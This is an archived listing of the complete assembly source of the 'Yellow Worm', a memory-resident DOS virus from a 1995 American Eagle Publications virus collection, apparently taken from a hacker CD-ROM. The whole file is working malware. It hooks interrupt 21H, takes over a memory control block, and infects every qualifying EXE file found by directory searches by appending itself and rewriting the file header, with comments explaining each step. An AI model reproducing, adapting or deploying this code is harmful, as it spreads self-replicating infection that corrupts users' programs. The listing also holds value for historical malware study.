home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / YELLOW / YELLOW.ASM next >
Encoding:
Assembly Source File  |  1995-07-03  |  15.2 KB  |  374 lines

  1. ;The Yellow Worm Computer Virus. This virus is memory resident and infects
  2. ;files when searched for with the DOS FCB-based search functions. It is
  3. ;extremely infective, but runs only under a DOS box in Windows.
  4. ;
  5. ;(C) 1995 American Eagle Publications, Inc. All rights reserved.
  6. ;
  7.  
  8.         .SEQ                       ;segments must appear in sequential order
  9.                                    ;to simulate conditions in actual active virus
  10.  
  11. ;HOSTSEG program code segment. The virus gains control before this routine and
  12. ;attaches itself to another EXE file.
  13. HOSTSEG SEGMENT BYTE
  14.         ASSUME  CS:HOSTSEG,SS:HSTACK
  15.  
  16. ;This host simply terminates and returns control to DOS.
  17. HOST:
  18.         mov     ax,4C00H
  19.         int     21H             ;terminate normally
  20. HOSTSEG ENDS
  21.  
  22. ;Host program stack segment
  23. STACKSIZE       EQU     100H           ;size of stack for this program
  24.  
  25. HSTACK  SEGMENT PARA STACK 'STACK'
  26.         db  STACKSIZE dup (?)
  27. HSTACK  ENDS
  28.  
  29. ;************************************************************************
  30. ;This is the virus itself
  31.  
  32. NUMRELS         EQU     2              ;number of relocatables in the virus
  33.  
  34. ;Intruder Virus code segment. This gains control first, before the host. As this
  35. ;ASM file is layed out, this program will look exactly like a simple program
  36. ;that was infected by the virus.
  37.  
  38. VSEG    SEGMENT PARA
  39.         ASSUME  CS:VSEG,DS:VSEG,SS:HSTACK
  40.  
  41.  
  42. ;Data storage area
  43. FNAME   DB      12 dup (0)
  44. FSIZE   DW      0,0
  45. EXE_HDR DB      1CH dup (?)           ;buffer for EXE file header
  46. PSP     DW      ?                     ;place to store PSP segment
  47.  
  48. ;The following 10 bytes must stay together because they are an image of 10
  49. ;bytes from the EXE header
  50. HOSTS   DW      0,STACKSIZE           ;host stack and code segments
  51. FILLER  DW      ?                     ;these are dynamically set by the virus
  52. HOSTC   DW      OFFSET HOST,0         ;but hard-coded in the 1st generation
  53.  
  54. ;The main control routine
  55. YELLOW_WORM:
  56.         push    ax
  57.         push    cs
  58.         pop     ds
  59.         mov     [PSP],es        ;save PSP
  60.         mov     ax,1600H        ;see if this is running under enhanced windows
  61.         int     2FH
  62.         and     al,7FH
  63.         cmp     al,0            ;is it Windows 3.X + ?
  64.         je      EXIT_WORM       ;no, just exit - don't install anything
  65.         call    SETUP_MCB       ;get memory for the virus
  66.         jc      EXIT_WORM
  67.         call    MOVE_VIRUS      ;move the virus into memory
  68.         call    INSTALL_INTS    ;install interrupt 21H and 2FH hooks
  69. EXIT_WORM:
  70.         mov     es,cs:[PSP]
  71.         push    es
  72.         pop     ds              ;restore ds to PSP
  73.         mov     dx,80H
  74.         mov     ah,1AH          ;restore DTA to PSP:80H for host
  75.         int     21H
  76.         mov     ax,es           ;ax=PSP
  77.         add     ax,10H          ;ax=PSP+10H
  78.         add     WORD PTR cs:[HOSTS],ax          ;relocate host initial ss
  79.         add     WORD PTR cs:[HOSTC+2],ax        ;relocate host initial cs
  80.         pop     ax              ;restore startup value of ax
  81.         cli
  82.         mov     ss,WORD PTR cs:[HOSTS]  ;set up host stack properly
  83.         mov     sp,WORD PTR cs:[HOSTS+2]
  84.         sti
  85.         jmp     DWORD PTR cs:[HOSTC]
  86.  
  87.  
  88. ;This routine moves the virus to the segment specified in es (e.g. the segment
  89. ;of the MCB created by SETUP_MCB + 1). The virus continues to execute in the
  90. ;original MCB where DOS put it. All this routine does is copy the virus like
  91. ;data.
  92. MOVE_VIRUS:
  93.         mov     si,OFFSET YELLOW_WORM
  94.         mov     di,si
  95.         mov     cx,OFFSET END_WORM
  96.         sub     cx,si
  97.         rep     movsb
  98.         ret
  99.  
  100. ;INSTALL_INTS installs the interrupt 21H hook so that the virus becomes
  101. ;active. All this does is put the existing INT 21H vector in OLD_21H and
  102. ;put the address of INT_21H into the vector. Note that this assumes that es
  103. ;is set to the segment that the virus created for itself and that the
  104. ;virus code is already in that segment. INSTALL_INTS also installs an
  105. ;interrupt 2FH hook if Windows is not loaded, so that the virus can uninstall
  106. ;itself if Windows does load.
  107. INSTALL_INTS:
  108.         xor     ax,ax
  109.         mov     ds,ax
  110.         mov     bx,21H*4                ;install INT 21H hook
  111.         mov     ax,[bx]                 ;save old vector
  112.         mov     WORD PTR es:[OLD_21H],ax
  113.         mov     ax,[bx+2]
  114.         mov     WORD PTR es:[OLD_21H+2],ax
  115.         mov     ax,OFFSET INT_21H       ;and set up new vector
  116.         mov     [bx],ax
  117.         mov     [bx+2],es
  118.         push    cs                      ;restore ds
  119.         pop     ds
  120.         ret
  121.  
  122. ;The following routine sets up a memory control block for the virus. This is
  123. ;accomplished by taking over the Z memory control block and splitting it into
  124. ;two pieces, (1) a new Z-block where the virus will live, and (2) a new M
  125. ;block for the host program. SETUP_MCB will return with c set if it could not
  126. ;split the Z block. If it could, it returns with nc and es=new block segment.
  127. ;It will also return with dx=segment of last M block.
  128.  
  129. VIRUS_BLK_SIZE  EQU     03FH     ;size of virus MCB, in paragraphs
  130.  
  131. SETUP_MCB:
  132.         mov     ah,52H          ;get list of lists @ in es:bx
  133.         int     21H
  134.         mov     dx,es:[bx-2]    ;get first MCB segment in ax
  135.         xor     bx,bx           ;now find the Z block
  136.         mov     es,dx           ;set es=MCB segment
  137. FINDZ:  cmp     BYTE PTR es:[bx],'Z'
  138.         je      FOUNDZ          ;got it
  139.         mov     dx,es           ;nope, go to next in chain
  140.         inc     dx
  141.         add     dx,es:[bx+3]
  142.         mov     es,dx
  143.         jmp     FINDZ
  144.  
  145. FOUNDZ: cmp     WORD PTR es:[bx+1],0                    ;check owner
  146.         je      OKZ                                     ;so far so good if unowned
  147.         mov     ax,[PSP]
  148.         cmp     es:[bx+1],ax                            ;or if owner = this psp
  149.         stc
  150.         jne     EXIT_MCB                                ;else terminate
  151.  
  152. OKZ:    cmp     WORD PTR es:[bx+3],VIRUS_BLK_SIZE+1     ;make sure enough room
  153.         jc      EXIT_MCB        ;no room, exit with c set
  154.  
  155.         mov     ax,es           ;ok, we can use the Z block
  156.         mov     ds,ax           ;set ds = original Z block
  157.         add     ax,es:[bx+3]
  158.         inc     ax              ;ax = end of the Z block
  159.         sub     ax,VIRUS_BLK_SIZE+1
  160.         mov     es,ax           ;es =  segment of new block
  161.         xor     di,di           ;copy it to new location
  162.         xor     si,si
  163.         mov     cx,8
  164.         rep     movsw
  165.         mov     ax,es
  166.         inc     ax
  167.         mov     WORD PTR es:[bx+3],VIRUS_BLK_SIZE       ;adjust new Z block size
  168.         mov     WORD PTR es:[bx+1],ax                   ;set owner = self
  169.         mov     BYTE PTR [bx],'M'                       ;change old Z to an M
  170.         sub     WORD PTR [bx+3],VIRUS_BLK_SIZE+1        ;and adjust size
  171.         mov     di,5            ;zero balance of virus block
  172.         mov     cx,12
  173.         xor     al,al
  174.         rep     stosb
  175.         push    cs              ;restore ds=cs
  176.         pop     ds
  177.         mov     ax,es           ;increment es to get segment for virus
  178.         inc     ax
  179.         mov     es,ax
  180.         clc
  181. EXIT_MCB:
  182.         ret
  183.  
  184. ;This is the interrupt 21H hook. It becomes active when installed by
  185. ;INSTALL_INTS. It traps Functions 11H and 12H and infects all EXE files
  186. ;found by those functions.
  187.  
  188. OLD_21H DD      ?               ;old interrupt 21H vector
  189.  
  190. INT_21H:
  191.         cmp     ah,11H          ;DOS Search First Function
  192.         je      SRCH_HOOK       ;yes, go execute hook
  193.         cmp     ah,12H
  194.         je      SRCH_HOOK
  195. GOLD:   jmp     DWORD PTR cs:[OLD_21H]  ;execute original int 21 handler
  196.  
  197. ;This is the Search First/Search Next Function Hook, hooking the FCB-based
  198. ;functions
  199. SRCH_HOOK:
  200.         pushf                   ;call original int 21H handler
  201.         call    DWORD PTR cs:[OLD_21H]
  202.         or      al,al           ;was it successful?
  203.         jnz     SEXIT           ;nope, just exit
  204.         pushf
  205.         push    ax              ;save registers
  206.         push    bx
  207.         push    cx
  208.         push    dx
  209.         push    di
  210.         push    si
  211.         push    es
  212.         push    ds
  213.  
  214.         mov     ah,2FH          ;get dta address in es:bx
  215.         int     21H
  216.         cmp     BYTE PTR es:[bx],0FFH
  217.         jne     SH1             ;an extended fcb?
  218.         add     bx,7            ;yes, adjust index
  219. SH1:    cmp     WORD PTR es:[bx+9],'XE'
  220.         jne     EXIT_SRCH       ;check for an EXE file
  221.         cmp     BYTE PTR es:[bx+11],'E'
  222.         jne     EXIT_SRCH       ;if not EXE, just return control to caller
  223.  
  224.         call    FILE_OK         ;ok to infect?
  225.         jc      EXIT_SRCH       ;no, just exit
  226.         call    INFECT_FILE     ;go ahead and infect it
  227.  
  228. EXIT_SRCH:
  229.         pop     ds
  230.         pop     es
  231.         pop     si              ;restore registers
  232.         pop     di
  233.         pop     dx
  234.         pop     cx
  235.         pop     bx
  236.         pop     ax
  237.         popf
  238. SEXIT:  retf    2               ;return to original caller with current flags
  239.  
  240. ;Function to determine whether the EXE file found by the search routine is
  241. ;useable. If so return nc, else return c.
  242. ;What makes an EXE file useable?:
  243. ;              a) The signature field in the EXE header must be 'MZ'. (These
  244. ;                 are the first two bytes in the file.)
  245. ;              b) The Overlay Number field in the EXE header must be zero.
  246. ;              c) It should be a DOS EXE, without Windows or OS/2 extensions.
  247. ;              d) The initial ip stored in the EXE header must be different
  248. ;                 than the viral initial ip. If they're the same, the virus
  249. ;                 is probably already in that file, so we skip it.
  250. ;
  251. FILE_OK:
  252.         push    es
  253.         pop     ds
  254.         mov     si,bx                  ;ds:si now points to fcb
  255.         inc     si                     ;now, to file name in fcb
  256.         push    cs
  257.         pop     es
  258.         mov     di,OFFSET FNAME        ;es:di points to file name buffer here
  259.         mov     cx,8                   ;number of bytes in file name
  260. FO1:    lodsb
  261.         stosb
  262.         cmp     al,20H
  263.         je      FO2
  264.         loop    FO1
  265.         inc     di
  266. FO2:    mov     BYTE PTR es:[di-1],'.'
  267.         mov     ax,'XE'
  268.         stosw
  269.         mov     ax,'E'
  270.         stosw
  271.  
  272.         push    cs
  273.         pop     ds                     ;now cs, ds and es all point here
  274.         mov     dx,OFFSET FNAME
  275.         mov     ax,3D02H               ;r/w access open file using handle
  276.         int     21H
  277.         jc      OK_END1                ;error opening - C set - quit without closing
  278.         mov     bx,ax                  ;put handle into bx and leave bx alone from here on out
  279.         mov     cx,1CH                 ;read 28 byte EXE file header
  280.         mov     dx,OFFSET EXE_HDR      ;into this buffer
  281.         mov     ah,3FH                 ;for examination and modification
  282.         int     21H
  283.         jc      OK_END                 ;error in reading the file, so quit
  284.         cmp     WORD PTR [EXE_HDR],'ZM';check EXE signature of MZ
  285.         jnz     OK_END                 ;close & exit if not
  286.         cmp     WORD PTR [EXE_HDR+26],0;check overlay number
  287.         jnz     OK_END                 ;not 0 - exit with c set
  288.         cmp     WORD PTR [EXE_HDR+24],40H ;is rel table at offset 40H or more?
  289.         jnc     OK_END                 ;yes, it is not a DOS EXE, so skip it
  290.         cmp     WORD PTR [EXE_HDR+14H],OFFSET YELLOW_WORM  ;see if initial ip = virus initial ip
  291.         clc
  292.         jne     OK_END1                ;if all successful, leave file open
  293. OK_END: mov     ah,3EH                 ;else close the file
  294.         int     21H
  295.         stc                            ;set carry to indicate file not ok
  296. OK_END1:ret                            ;return with c flag set properly
  297.  
  298. ;This routine moves the virus (this program) to the end of the EXE file
  299. ;Basically, it just copies everything here to there, and then goes and
  300. ;adjusts the EXE file header. It also makes sure the virus starts
  301. ;on a paragraph boundary, and adds how many bytes are necessary to do that.
  302. INFECT_FILE:
  303.         mov     ax,4202H                ;seek end of file to determine size
  304.         xor     cx,cx
  305.         xor     dx,dx
  306.         int     21H
  307.         mov     [FSIZE],ax              ;and save it here
  308.         mov     [FSIZE+2],dx
  309.         mov     cx,WORD PTR [FSIZE+2]   ;adjust file length to paragraph
  310.         mov     dx,WORD PTR [FSIZE]     ;boundary
  311.         or      dl,0FH
  312.         add     dx,1
  313.         adc     cx,0
  314.         mov     WORD PTR [FSIZE+2],cx
  315.         mov     WORD PTR [FSIZE],dx
  316.         mov     ax,4200H                ;set file pointer, relative to beginning
  317.         int     21H                     ;go to end of file + boundary
  318.  
  319.         mov     cx,OFFSET END_WORM         ;last byte of code
  320.         xor     dx,dx                   ;first byte of code, ds:dx
  321.         mov     ah,40H                  ;write body of virus to file
  322.         int     21H
  323.  
  324.         mov     dx,WORD PTR [FSIZE]     ;find relocatables in code
  325.         mov     cx,WORD PTR [FSIZE+2]   ;original end of file
  326.         add     dx,OFFSET HOSTS         ;            + offset of HOSTS
  327.         adc     cx,0                    ;cx:dx is that number
  328.         mov     ax,4200H                ;set file pointer to 1st relocatable
  329.         int     21H
  330.         mov     dx,OFFSET EXE_HDR+14    ;get correct host ss:sp, cs:ip
  331.         mov     cx,10
  332.         mov     ah,40H                  ;and write it to HOSTS/HOSTC
  333.         int     21H
  334.  
  335.         xor     cx,cx                   ;so now adjust the EXE header values
  336.         xor     dx,dx
  337.         mov     ax,4200H                ;set file pointer to start of file
  338.         int     21H
  339.  
  340.         mov     ax,WORD PTR [FSIZE]     ;calculate viral initial CS
  341.         mov     dx,WORD PTR [FSIZE+2]   ; = File size / 16 - Header Size(Para)
  342.         mov     cx,16
  343.         div     cx                      ;dx:ax contains file size / 16
  344.         sub     ax,WORD PTR [EXE_HDR+8] ;subtract exe header size, in paragraphs
  345.         mov     WORD PTR [EXE_HDR+22],ax;save as initial CS
  346.         mov     WORD PTR [EXE_HDR+14],ax;save as initial SS
  347.         mov     WORD PTR [EXE_HDR+20],OFFSET YELLOW_WORM  ;save initial ip
  348.         mov     WORD PTR [EXE_HDR+16],OFFSET END_WORM + STACKSIZE  ;save initial sp
  349.  
  350.         mov     dx,WORD PTR [FSIZE+2]   ;calculate new file size for header
  351.         mov     ax,WORD PTR [FSIZE]     ;get original size
  352.         add     ax,OFFSET END_WORM + 200H  ;add virus size + 1 paragraph, 512 bytes
  353.         adc     dx,0
  354.         mov     cx,200H                 ;divide by paragraph size
  355.         div     cx                      ;ax=paragraphs, dx=last paragraph size
  356.         mov     WORD PTR [EXE_HDR+4],ax ;and save paragraphs here
  357.         mov     WORD PTR [EXE_HDR+2],dx ;last paragraph size here
  358.         mov     cx,1CH                  ;and save 1CH bytes of header
  359.         mov     dx,OFFSET EXE_HDR       ;at start of file
  360.         mov     ah,40H
  361.         int     21H
  362.  
  363.         mov     ah,3EH                  ;close file now
  364.         int     21H
  365.  
  366.         ret                             ;that's it, infection is complete!
  367.  
  368. END_WORM:                       ;label for the end of the yellow worm
  369.  
  370. VSEG    ENDS
  371.  
  372.         END     YELLOW_WORM
  373.  
  374.